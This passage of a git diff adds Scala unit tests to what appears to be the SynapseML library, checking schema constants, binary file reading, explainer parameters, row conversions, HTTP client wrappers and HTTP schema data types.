assert(MetricConstants.FindBestModelMetrics.contains(MetricConstants.AucSparkMetric)) + assert(MetricConstants.FindBestModelMetrics.size === 8) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/schema/VerifyBinaryFileSchema.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/schema/VerifyBinaryFileSchema.scala new file mode 100644 index 00000000000..86b81ad7a6f --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/schema/VerifyBinaryFileSchema.scala @@ -0,0 +1,92 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.core.schema + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.sql.Row +import org.apache.spark.sql.types._ + +class VerifyBinaryFileSchema extends TestBase { + + test("ColumnSchema has correct structure") { + val schema = BinaryFileSchema.ColumnSchema + assert(schema.fields.length === 2) + + val pathField = schema.fields(0) + assert(pathField.name === "path") + assert(pathField.dataType === StringType) + assert(pathField.nullable === true) + + val bytesField = schema.fields(1) + assert(bytesField.name === "bytes") + assert(bytesField.dataType === BinaryType) + assert(bytesField.nullable === true) + } + + test("Schema wraps ColumnSchema in value field") { + val schema = BinaryFileSchema.Schema + assert(schema.fields.length === 1) + + val valueField = schema.fields(0) + assert(valueField.name === "value") + assert(valueField.dataType === BinaryFileSchema.ColumnSchema) + assert(valueField.nullable === true) + } + + test("getPath extracts path from Row") { + val testPath = "/path/to/file.bin" + val testBytes = Array[Byte](1, 2, 3) + val row = Row(testPath, testBytes) + + assert(BinaryFileSchema.getPath(row) === testPath) + } + + test("getBytes extracts bytes from Row") { + val testPath = "/path/to/file.bin" + val testBytes = Array[Byte](1, 2, 3, 4, 5) + val row = Row(testPath, testBytes) + + val result = BinaryFileSchema.getBytes(row) + assert(result.sameElements(testBytes)) + } + + test("getPath handles empty path") { + val row = Row("", Array[Byte]()) + assert(BinaryFileSchema.getPath(row) === "") + } + + test("getBytes handles empty byte array") { + val row = Row("test", Array[Byte]()) + assert(BinaryFileSchema.getBytes(row).length === 0) + } + + test("isBinaryFile with DataType returns true for matching schema") { + assert(BinaryFileSchema.isBinaryFile(BinaryFileSchema.ColumnSchema) === true) + } + + test("isBinaryFile with DataType returns false for non-matching schema") { + assert(BinaryFileSchema.isBinaryFile(StringType) === false) + assert(BinaryFileSchema.isBinaryFile(BinaryType) === false) + assert(BinaryFileSchema.isBinaryFile(IntegerType) === false) + + // Different StructType + val differentSchema = StructType(Seq( + StructField("path", StringType, true) + )) + assert(BinaryFileSchema.isBinaryFile(differentSchema) === false) + } + + test("isBinaryFile with StructField returns true for matching schema") { + val field = StructField("data", BinaryFileSchema.ColumnSchema, true) + assert(BinaryFileSchema.isBinaryFile(field) === true) + } + + test("isBinaryFile with StructField returns false for non-matching schema") { + val stringField = StructField("data", StringType, true) + assert(BinaryFileSchema.isBinaryFile(stringField) === false) + + val binaryField = StructField("data", BinaryType, true) + assert(BinaryFileSchema.isBinaryFile(binaryField) === false) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/schema/VerifyImageSchemaUtils.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/schema/VerifyImageSchemaUtils.scala new file mode 100644 index 00000000000..3aebc578557 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/schema/VerifyImageSchemaUtils.scala @@ -0,0 +1,86 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.core.schema + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.image.ImageSchema +import org.apache.spark.sql.types._ + +class VerifyImageSchemaUtils extends TestBase { + + test("ColumnSchemaNullable has correct structure") { + val schema = ImageSchemaUtils.ColumnSchemaNullable + assert(schema.fields.length === 6) + + assert(schema.fields(0).name === "origin") + assert(schema.fields(0).dataType === StringType) + + assert(schema.fields(1).name === "height") + assert(schema.fields(1).dataType === IntegerType) + + assert(schema.fields(2).name === "width") + assert(schema.fields(2).dataType === IntegerType) + + assert(schema.fields(3).name === "nChannels") + assert(schema.fields(3).dataType === IntegerType) + + assert(schema.fields(4).name === "mode") + assert(schema.fields(4).dataType === IntegerType) + + assert(schema.fields(5).name === "data") + assert(schema.fields(5).dataType === BinaryType) + } + + test("ColumnSchemaNullable fields are all nullable") { + val schema = ImageSchemaUtils.ColumnSchemaNullable + schema.fields.foreach { field => + assert(field.nullable === true, s"Field ${field.name} should be nullable") + } + } + + test("ImageSchemaNullable wraps ColumnSchemaNullable") { + val schema = ImageSchemaUtils.ImageSchemaNullable + assert(schema.fields.length === 1) + assert(schema.fields(0).name === "image") + assert(schema.fields(0).dataType === ImageSchemaUtils.ColumnSchemaNullable) + assert(schema.fields(0).nullable === true) + } + + test("isImage returns true for ImageSchema.columnSchema") { + assert(ImageSchemaUtils.isImage(ImageSchema.columnSchema) === true) + } + + test("isImage returns false for non-image types") { + assert(ImageSchemaUtils.isImage(StringType) === false) + assert(ImageSchemaUtils.isImage(BinaryType) === false) + assert(ImageSchemaUtils.isImage(IntegerType) === false) + } + + test("isImage returns false for different struct type") { + val differentSchema = StructType(Seq( + StructField("path", StringType, true) + )) + assert(ImageSchemaUtils.isImage(differentSchema) === false) + } + + test("isImage with StructField returns true for image column") { + val imageField = StructField("img", ImageSchema.columnSchema, true) + assert(ImageSchemaUtils.isImage(imageField) === true) + } + + test("isImage with StructField returns false for non-image column") { + val stringField = StructField("text", StringType, true) + assert(ImageSchemaUtils.isImage(stringField) === false) + } + + test("ColumnSchemaNullable matches ImageSchema.columnSchema structurally") { + // The nullable version should match structurally when ignoring nullability + val isMatch = DataType.equalsStructurally( + ImageSchemaUtils.ColumnSchemaNullable, + ImageSchema.columnSchema, + ignoreNullability = true + ) + assert(isMatch === true) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/schema/VerifySchemaConstants.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/schema/VerifySchemaConstants.scala new file mode 100644 index 00000000000..19908e14fa3 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/schema/VerifySchemaConstants.scala @@ -0,0 +1,54 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.core.schema + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +class VerifySchemaConstants extends TestBase { + + test("score column kind constants have expected values") { + assert(SchemaConstants.ScoreColumnKind === "ScoreColumnKind") + assert(SchemaConstants.ScoreValueKind === "ScoreValueKind") + } + + test("label and score column names have expected values") { + assert(SchemaConstants.TrueLabelsColumn === "true_labels") + assert(SchemaConstants.ScoredLabelsColumn === "scored_labels") + assert(SchemaConstants.ScoresColumn === "scores") + assert(SchemaConstants.ScoredProbabilitiesColumn === "scored_probabilities") + } + + test("model and tag constants have expected values") { + assert(SchemaConstants.ScoreModelPrefix === "score_model") + assert(SchemaConstants.MMLTag === "mml") + assert(SchemaConstants.MLlibTag === "ml_attr") + } + + test("residual column names have expected values") { + assert(SchemaConstants.TreatmentResidualColumn === "treatment_residual") + assert(SchemaConstants.OutcomeResidualColumn === "outcome_residual") + } + + test("categorical metadata tag constants have expected values") { + assert(SchemaConstants.Ordinal === "ord") + assert(SchemaConstants.MLlibTypeTag === "type") + assert(SchemaConstants.ValuesString === "vals") + assert(SchemaConstants.ValuesInt === "vals_int") + assert(SchemaConstants.ValuesLong === "vals_long") + assert(SchemaConstants.ValuesDouble === "vals_double") + assert(SchemaConstants.ValuesBool === "vals_bool") + assert(SchemaConstants.HasNullLevels === "null_exists") + } + + test("ML kind constants have expected values") { + assert(SchemaConstants.ClassificationKind === "Classification") + assert(SchemaConstants.RegressionKind === "Regression") + } + + test("Spark native column name constants have expected values") { + assert(SchemaConstants.SparkPredictionColumn === "prediction") + assert(SchemaConstants.SparkRawPredictionColumn === "rawPrediction") + assert(SchemaConstants.SparkProbabilityColumn === "probability") + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyOsUtils.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyOsUtils.scala new file mode 100644 index 00000000000..3543a4ff55c --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyOsUtils.scala @@ -0,0 +1,15 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.core.utils + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +class VerifyOsUtils extends TestBase { + + test("IsWindows returns a boolean based on os.name property") { + val osName = System.getProperty("os.name").toLowerCase() + val expected = osName.indexOf("win") >= 0 + assert(OsUtils.IsWindows === expected) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/explainers/VerifyExplainerSharedParams.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/explainers/VerifyExplainerSharedParams.scala new file mode 100644 index 00000000000..b5b68cb905a --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/explainers/VerifyExplainerSharedParams.scala @@ -0,0 +1,136 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.explainers + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.param.{ParamMap, Params} +import org.apache.spark.ml.util.Identifiable + +class VerifyExplainerSharedParams extends TestBase { + + // Test implementation that mixes in all the traits + private class TestExplainerParams(override val uid: String) + extends Params + with HasMetricsCol + with HasNumSamples + with HasTokensCol + with HasSuperpixelCol + with HasSamplingFraction + with HasExplainTarget { + override def copy(extra: ParamMap): Params = this + } + + test("HasMetricsCol sets and gets metrics column") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + params.setMetricsCol("metrics_output") + assert(params.getMetricsCol === "metrics_output") + } + + test("HasMetricsCol param has correct name and doc") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + assert(params.metricsCol.name === "metricsCol") + assert(params.metricsCol.doc.contains("fitting metrics")) + } + + test("HasNumSamples sets and gets number of samples") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + params.setNumSamples(100) + assert(params.getNumSamples === 100) + } + + test("HasNumSamples getNumSamplesOpt returns Some when set") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + params.setNumSamples(50) + assert(params.getNumSamplesOpt === Some(50)) + } + + test("HasNumSamples getNumSamplesOpt returns None when not set") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + assert(params.getNumSamplesOpt.isEmpty) + } + + test("HasNumSamples validates numSamples must be positive") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + assertThrows[IllegalArgumentException] { + params.setNumSamples(0) + } + assertThrows[IllegalArgumentException] { + params.setNumSamples(-1) + } + } + + test("HasTokensCol sets and gets tokens column") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + params.setTokensCol("tokens") + assert(params.getTokensCol === "tokens") + } + + test("HasTokensCol param has correct name and doc") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + assert(params.tokensCol.name === "tokensCol") + assert(params.tokensCol.doc.contains("tokens")) + } + + test("HasSuperpixelCol sets and gets superpixel column") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + params.setSuperpixelCol("superpixels") + assert(params.getSuperpixelCol === "superpixels") + } + + test("HasSuperpixelCol param has correct name and doc") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + assert(params.superpixelCol.name === "superpixelCol") + assert(params.superpixelCol.doc.contains("superpixel")) + } + + test("HasSamplingFraction sets and gets sampling fraction") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + params.setSamplingFraction(0.5) + assert(params.getSamplingFraction === 0.5) + } + + test("HasSamplingFraction validates fraction in range 0 to 1") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + // Valid values + params.setSamplingFraction(0.0) + params.setSamplingFraction(1.0) + params.setSamplingFraction(0.5) + + // Invalid values + assertThrows[IllegalArgumentException] { + params.setSamplingFraction(-0.1) + } + assertThrows[IllegalArgumentException] { + params.setSamplingFraction(1.1) + } + } + + test("HasExplainTarget has default targetCol value") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + assert(params.getTargetCol === "probability") + } + + test("HasExplainTarget sets and gets targetCol") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + params.setTargetCol("prediction") + assert(params.getTargetCol === "prediction") + } + + test("HasExplainTarget has default empty targetClasses") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + assert(params.getTargetClasses.isEmpty) + } + + test("HasExplainTarget sets and gets targetClasses") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + params.setTargetClasses(Array(0, 1, 2)) + assert(params.getTargetClasses === Array(0, 1, 2)) + } + + test("HasExplainTarget sets and gets targetClassesCol") { + val params = new TestExplainerParams(Identifiable.randomUID("test")) + params.setTargetClassesCol("classes") + assert(params.getTargetClassesCol === "classes") + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/explainers/VerifyRowUtils.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/explainers/VerifyRowUtils.scala new file mode 100644 index 00000000000..691242833d2 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/explainers/VerifyRowUtils.scala @@ -0,0 +1,100 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.explainers + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.sql.Row +import org.apache.spark.sql.types._ + +class VerifyRowUtils extends TestBase { + + import RowUtils.RowCanGetAsDouble + + test("getAsDouble converts Byte to Double") { + val schema = StructType(Seq(StructField("value", ByteType))) + val row = Row(10.toByte) + val result = row.getAsDouble(0) + assert(result === 10.0) + } + + test("getAsDouble converts Short to Double") { + val schema = StructType(Seq(StructField("value", ShortType))) + val row = Row(100.toShort) + val result = row.getAsDouble(0) + assert(result === 100.0) + } + + test("getAsDouble converts Int to Double") { + val schema = StructType(Seq(StructField("value", IntegerType))) + val row = Row(42) + val result = row.getAsDouble(0) + assert(result === 42.0) + } + + test("getAsDouble converts Long to Double") { + val schema = StructType(Seq(StructField("value", LongType))) + val row = Row(1000L) + val result = row.getAsDouble(0) + assert(result === 1000.0) + } + + test("getAsDouble converts Float to Double") { + val schema = StructType(Seq(StructField("value", FloatType))) + val row = Row(3.14f) + val result = row.getAsDouble(0) + assert(Math.abs(result - 3.14) < 0.001) + } + + test("getAsDouble returns Double unchanged") { + val schema = StructType(Seq(StructField("value", DoubleType))) + val row = Row(2.718) + val result = row.getAsDouble(0) + assert(result === 2.718) + } + + test("getAsDouble by column name") { + val schema = StructType(Seq( + StructField("other", StringType), + StructField("value", IntegerType) + )) + // Create a row that knows about its schema + val row = new org.apache.spark.sql.catalyst.expressions.GenericRowWithSchema( + Array("test", 42), + schema + ) + val result = row.getAsDouble("value") + assert(result === 42.0) + } + + test("getAsDouble throws for unsupported types") { + val schema = StructType(Seq(StructField("value", StringType))) + val row = Row("not a number") + assertThrows[Exception] { + row.getAsDouble(0) + } + } + + test("getAsDouble handles negative numbers") { + val schema = StructType(Seq(StructField("value", IntegerType))) + val row = Row(-100) + val result = row.getAsDouble(0) + assert(result === -100.0) + } + + test("getAsDouble handles zero") { + val schema = StructType(Seq(StructField("value", IntegerType))) + val row = Row(0) + val result = row.getAsDouble(0) + assert(result === 0.0) + } + + test("getAsDouble handles large Long values") { + val schema = StructType(Seq(StructField("value", LongType))) + val largeValue = Long.MaxValue / 2 + val row = Row(largeValue) + val result = row.getAsDouble(0) + // Note: some precision loss expected for very large longs + assert(result > 0) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/io/binary/VerifyBinaryFileFormat.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/io/binary/VerifyBinaryFileFormat.scala new file mode 100644 index 00000000000..a28987e9324 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/io/binary/VerifyBinaryFileFormat.scala @@ -0,0 +1,123 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.io.binary + +import com.microsoft.azure.synapse.ml.core.schema.BinaryFileSchema +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.hadoop.fs.Path + +import java.io.File +import java.nio.file.Files + +class VerifyBinaryFileFormat extends TestBase { + + test("BinaryFileFormat shortName returns 'binary'") { + val format = new BinaryFileFormat() + assert(format.shortName() === "binary") + } + + test("BinaryFileFormat toString returns 'Binary'") { + val format = new BinaryFileFormat() + assert(format.toString === "Binary") + } + + test("BinaryFileFormat isSplitable returns false") { + val format = new BinaryFileFormat() + val result = format.isSplitable(spark, Map.empty, new Path("/test")) + assert(!result) + } + + test("BinaryFileFormat inferSchema returns BinaryFileSchema") { + val format = new BinaryFileFormat() + val schema = format.inferSchema(spark, Map.empty, Seq.empty) + assert(schema.isDefined) + assert(schema.get === BinaryFileSchema.Schema) + } + + test("BinaryFileFormat equals returns true for same type") { + val format1 = new BinaryFileFormat() + val format2 = new BinaryFileFormat() + assert(format1.equals(format2)) + } + + test("BinaryFileFormat equals returns false for different type") { + val format = new BinaryFileFormat() + assert(!format.equals("not a format")) + } + + test("BinaryFileFormat hashCode is consistent") { + val format1 = new BinaryFileFormat() + val format2 = new BinaryFileFormat() + assert(format1.hashCode() === format2.hashCode()) + } + + test("ConfUtils.getHConf returns SerializableConfiguration") { + import spark.implicits._ + val df = Seq(1, 2, 3).toDF("num") + val hConf = ConfUtils.getHConf(df) + assert(hConf != null) + } + + test("BinaryFileFormat can read binary files") { + // Create a temp directory with binary files + val tempDir = Files.createTempDirectory("binary-test").toFile + tempDir.deleteOnExit() + + val testFile = new File(tempDir, "test.bin") + Files.write(testFile.toPath, Array[Byte](1, 2, 3, 4, 5)) + testFile.deleteOnExit() + + val df = spark.read.format(classOf[BinaryFileFormat].getName).load(tempDir.getAbsolutePath) + assert(df.count() >= 1) + assert(df.schema === BinaryFileSchema.Schema) + } + + test("BinaryFileFormat reads file content correctly") { + val tempDir = Files.createTempDirectory("binary-content-test").toFile + tempDir.deleteOnExit() + + val testContent = "Hello, Binary!".getBytes + val testFile = new File(tempDir, "content.bin") + Files.write(testFile.toPath, testContent) + testFile.deleteOnExit() + + val df = spark.read.format(classOf[BinaryFileFormat].getName).load(tempDir.getAbsolutePath) + val row = df.collect().head + val struct = row.getStruct(0) + val bytes = struct.getAs[Array[Byte]]("bytes") + assert(bytes.sameElements(testContent)) + } + + test("BinaryFileFormat respects subsample option") { + val tempDir = Files.createTempDirectory("binary-subsample-test").toFile + tempDir.deleteOnExit() + + // Create multiple files + for (i <- 1 to 10) { + val testFile = new File(tempDir, s"file$i.bin") + Files.write(testFile.toPath, Array[Byte](i.toByte)) + testFile.deleteOnExit() + } + + // Read with subsample=0.0 should return fewer or no rows + val df = spark.read.format(classOf[BinaryFileFormat].getName) + .option("subsample", "0.0") + .load(tempDir.getAbsolutePath) + assert(df.count() === 0) + } + + test("BinaryFileFormat reads multiple files") { + val tempDir = Files.createTempDirectory("binary-multi-test").toFile + tempDir.deleteOnExit() + + for (i <- 1 to 3) { + val testFile = new File(tempDir, s"multi$i.bin") + Files.write(testFile.toPath, s"content$i".getBytes) + testFile.deleteOnExit() + } + + val df = spark.read.format(classOf[BinaryFileFormat].getName).load(tempDir.getAbsolutePath) + assert(df.count() === 3) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/io/http/VerifyClients.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/io/http/VerifyClients.scala new file mode 100644 index 00000000000..aab8ffb099a --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/io/http/VerifyClients.scala @@ -0,0 +1,178 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.io.http + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +import scala.concurrent.ExecutionContext +import scala.concurrent.duration._ + +class VerifyClients extends TestBase { + + // Test SingleThreadedClient + private class TestSingleThreadedClient extends SingleThreadedClient { + override protected type Client = Unit + override protected type ResponseType = String + override protected type RequestType = String + override protected val internalClient: Client = () + + override protected def sendRequestWithContext( + request: RequestWithContext): ResponseWithContext = { + request.request match { + case Some(req) => ResponseWithContext(Some(s"response-$req"), request.context) + case None => ResponseWithContext(None, request.context) + } + } + } + + test("SingleThreadedClient processes requests sequentially") { + val client = new TestSingleThreadedClient + val requests = Iterator( + client.RequestWithContext(Some("a"), Some("ctx-a")), + client.RequestWithContext(Some("b"), Some("ctx-b")), + client.RequestWithContext(Some("c"), Some("ctx-c")) + ) + + val responses = client.sendRequestsWithContext(requests).toList + assert(responses.length === 3) + assert(responses(0).response === Some("response-a")) + assert(responses(0).context === Some("ctx-a")) + assert(responses(1).response === Some("response-b")) + assert(responses(2).response === Some("response-c")) + } + + test("SingleThreadedClient handles empty requests") { + val client = new TestSingleThreadedClient + val requests = Iterator( + client.RequestWithContext(None, Some("ctx")) + ) + + val responses = client.sendRequestsWithContext(requests).toList + assert(responses.length === 1) + assert(responses.head.response === None) + assert(responses.head.context === Some("ctx")) + } + + test("SingleThreadedClient handles empty iterator") { + val client = new TestSingleThreadedClient + val requests = Iterator.empty.asInstanceOf[Iterator[client.RequestWithContext]] + val responses = client.sendRequestsWithContext(requests).toList + assert(responses.isEmpty) + } + + // Test AsyncClient + private class TestAsyncClient(conc: Int, to: Duration) + (implicit ec: ExecutionContext) + extends AsyncClient(conc, to) { + + override protected type Client = Unit + override protected type ResponseType = String + override protected type RequestType = String + override protected val internalClient: Client = () + + override protected def sendRequestWithContext( + request: RequestWithContext): ResponseWithContext = { + request.request match { + case Some(req) => + // Simulate some work + Thread.sleep(10) + ResponseWithContext(Some(s"async-$req"), request.context) + case None => + ResponseWithContext(None, request.context) + } + } + } + + test("AsyncClient processes requests concurrently") { + implicit val ec: ExecutionContext = ExecutionContext.global + val client = new TestAsyncClient(4, 30.seconds) + + val requests = Iterator( + client.RequestWithContext(Some("1"), None), + client.RequestWithContext(Some("2"), None), + client.RequestWithContext(Some("3"), None), + client.RequestWithContext(Some("4"), None) + ) + + val responses = client.sendRequestsWithContext(requests).toList + assert(responses.length === 4) + assert(responses.map(_.response).forall(_.isDefined)) + assert(responses.flatMap(_.response).toSet === Set("async-1", "async-2", "async-3", "async-4")) + } + + test("AsyncClient preserves context") { + implicit val ec: ExecutionContext = ExecutionContext.global + val client = new TestAsyncClient(2, 30.seconds) + + val requests = Iterator( + client.RequestWithContext(Some("a"), Some("context-a")), + client.RequestWithContext(Some("b"), Some("context-b")) + ) + + val responses = client.sendRequestsWithContext(requests).toList + assert(responses.length === 2) + // Note: order may vary due to concurrency, but contexts should match requests + responses.foreach { resp => + resp.response match { + case Some("async-a") => assert(resp.context === Some("context-a")) + case Some("async-b") => assert(resp.context === Some("context-b")) + case _ => fail("Unexpected response") + } + } + } + + test("AsyncClient handles empty requests") { + implicit val ec: ExecutionContext = ExecutionContext.global + val client = new TestAsyncClient(2, 30.seconds) + + val requests = Iterator( + client.RequestWithContext(None, Some("ctx")) + ) + + val responses = client.sendRequestsWithContext(requests).toList + assert(responses.length === 1) + assert(responses.head.response === None) + } + + test("AsyncClient respects concurrency parameter") { + implicit val ec: ExecutionContext = ExecutionContext.global + val client = new TestAsyncClient(2, 30.seconds) + assert(client.concurrency === 2) + } + + test("AsyncClient respects timeout parameter") { + implicit val ec: ExecutionContext = ExecutionContext.global + val client = new TestAsyncClient(2, 45.seconds) + assert(client.timeout === 45.seconds) + } + + // Test RequestWithContext and ResponseWithContext + test("RequestWithContext can be created with request only") { + val client = new TestSingleThreadedClient + val req = new client.RequestWithContext(Some("test")) + assert(req.request === Some("test")) + assert(req.context === None) + } + + test("RequestWithContext can be created with request and context") { + val client = new TestSingleThreadedClient + val req = client.RequestWithContext(Some("test"), Some("ctx")) + assert(req.request === Some("test")) + assert(req.context === Some("ctx")) + } + + test("ResponseWithContext can be created with response only") { + val client = new TestSingleThreadedClient + val resp = new client.ResponseWithContext(Some("test")) + assert(resp.response === Some("test")) + assert(resp.context === None) + } + + test("ResponseWithContext can be created with response and context") { + val client = new TestSingleThreadedClient + val resp = client.ResponseWithContext(Some("test"), Some("ctx")) + assert(resp.response === Some("test")) + assert(resp.context === Some("ctx")) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/io/http/VerifyHTTPSchema.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/io/http/VerifyHTTPSchema.scala new file mode 100644 index 00000000000..5cd1c3843d9 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/io/http/VerifyHTTPSchema.scala @@ -0,0 +1,179 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.io.http + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.http.ProtocolVersion +import org.apache.http.message.BasicHeader + +class VerifyHTTPSchema extends TestBase { + + test("HeaderData stores name and value") { + val header = HeaderData("Content-Type", "application/json") + assert(header.name === "Content-Type") + assert(header.value === "application/json") + } + + test("HeaderData.toHTTPCore creates BasicHeader") { + val header = HeaderData("Authorization", "Bearer token123") + val httpHeader = header.toHTTPCore + assert(httpHeader.getName === "Authorization") + assert(httpHeader.getValue === "Bearer token123") + } + + test("HeaderData can be created from HTTP Header") { + val basicHeader = new BasicHeader("X-Custom", "custom-value") + val headerData = new HeaderData(basicHeader) + assert(headerData.name === "X-Custom") + assert(headerData.value === "custom-value") + } + + test("ProtocolVersionData stores protocol info") { + val pvd = ProtocolVersionData("HTTP", 1, 1) + assert(pvd.protocol === "HTTP") + assert(pvd.major === 1) + assert(pvd.minor === 1) + } + + test("ProtocolVersionData.toHTTPCore creates ProtocolVersion") { + val pvd = ProtocolVersionData("HTTP", 2, 0) + val pv = pvd.toHTTPCore + assert(pv.getProtocol === "HTTP") + assert(pv.getMajor === 2) + assert(pv.getMinor === 0) + } + + test("ProtocolVersionData can be created from ProtocolVersion") { + val pv = new ProtocolVersion("HTTP", 1, 0) + val pvd = new ProtocolVersionData(pv) + assert(pvd.protocol === "HTTP") + assert(pvd.major === 1) + assert(pvd.minor === 0) + } + + test("StatusLineData stores status info") { + val pvd = ProtocolVersionData("HTTP", 1, 1) + val sld = StatusLineData(pvd, 200, "OK") + assert(sld.protocolVersion === pvd) + assert(sld.statusCode === 200) + assert(sld.reasonPhrase === "OK") + } + + test("RequestLineData stores request info") { + val pvd = Some(ProtocolVersionData("HTTP", 1, 1)) + val rld = RequestLineData("GET", "https://example.com", pvd) + assert(rld.method === "GET") + assert(rld.uri === "https://example.com") + assert(rld.protocolVersion === pvd) + } + + test("RequestLineData works without protocol version") { + val rld = RequestLineData("POST", "/api/data", None) + assert(rld.method === "POST") + assert(rld.uri === "/api/data") + assert(rld.protocolVersion.isEmpty) + } + + test("EntityData stores content info") { + val content = "test content".getBytes + val entity = EntityData( + content = content, + contentEncoding = None, + contentLength = Some(content.length.toLong), + contentType = Some(HeaderData("Content-Type", "text/plain")), + isChunked = false, + isRepeatable = true, + isStreaming = false + ) + assert(entity.content === content) + assert(entity.contentLength === Some(content.length.toLong)) + assert(entity.isChunked === false) + assert(entity.isRepeatable === true) + } + + test("HTTPResponseData stores response info") { + val pvd = ProtocolVersionData("HTTP", 1, 1) + val statusLine = StatusLineData(pvd, 200, "OK") + val response = HTTPResponseData( + headers = Array(HeaderData("Content-Type", "application/json")), + entity = None, + statusLine = statusLine, + locale = "en-US" + ) + assert(response.headers.length === 1) + assert(response.statusLine.statusCode === 200) + assert(response.locale === "en-US") + assert(response.entity.isEmpty) + } + + test("HTTPRequestData stores request info") { + val requestLine = RequestLineData("GET", "https://api.example.com/data", None) + val request = HTTPRequestData( + requestLine = requestLine, + headers = Array(HeaderData("Accept", "application/json")), + entity = None + ) + assert(request.requestLine.method === "GET") + assert(request.headers.length === 1) + assert(request.entity.isEmpty) + } + + test("HTTPRequestData with entity") { + val content = """{"key": "value"}""".getBytes + val entity = EntityData( + content = content, + contentEncoding = None, + contentLength = Some(content.length.toLong), + contentType = Some(HeaderData("Content-Type", "application/json")), + isChunked = false, + isRepeatable = true, + isStreaming = false + ) + val requestLine = RequestLineData("POST", "/api/submit", None) + val request = HTTPRequestData( + requestLine = requestLine, + headers = Array(), + entity = Some(entity) + ) + assert(request.entity.isDefined) + assert(request.entity.get.content === content) + } + + test("HTTPSchema.Response has schema") { + val schema = HTTPSchema.Response + assert(schema != null) + } + + test("HTTPSchema.Request has schema") { + val schema = HTTPSchema.Request + assert(schema != null) + } + + test("HTTPSchema.stringToResponse creates response") { + val response = HTTPSchema.stringToResponse("test body", 200, "OK") + assert(response.statusLine.statusCode === 200) + assert(response.statusLine.reasonPhrase === "OK") + assert(response.entity.isDefined) + } + + test("HTTPSchema.emptyResponse creates response without entity") { + val response = HTTPSchema.emptyResponse(404, "Not Found") + assert(response.statusLine.statusCode === 404) + assert(response.statusLine.reasonPhrase === "Not Found") + assert(response.entity.isEmpty) + } + + test("HTTPSchema.binaryToResponse creates response with binary content") { + val content = Array[Byte](1, 2, 3, 4, 5) + val response = HTTPSchema.binaryToResponse(content, 200, "OK") + assert(response.entity.isDefined) + assert(response.entity.get.content === content) + } + + test("HeaderValues.PlatformInfo 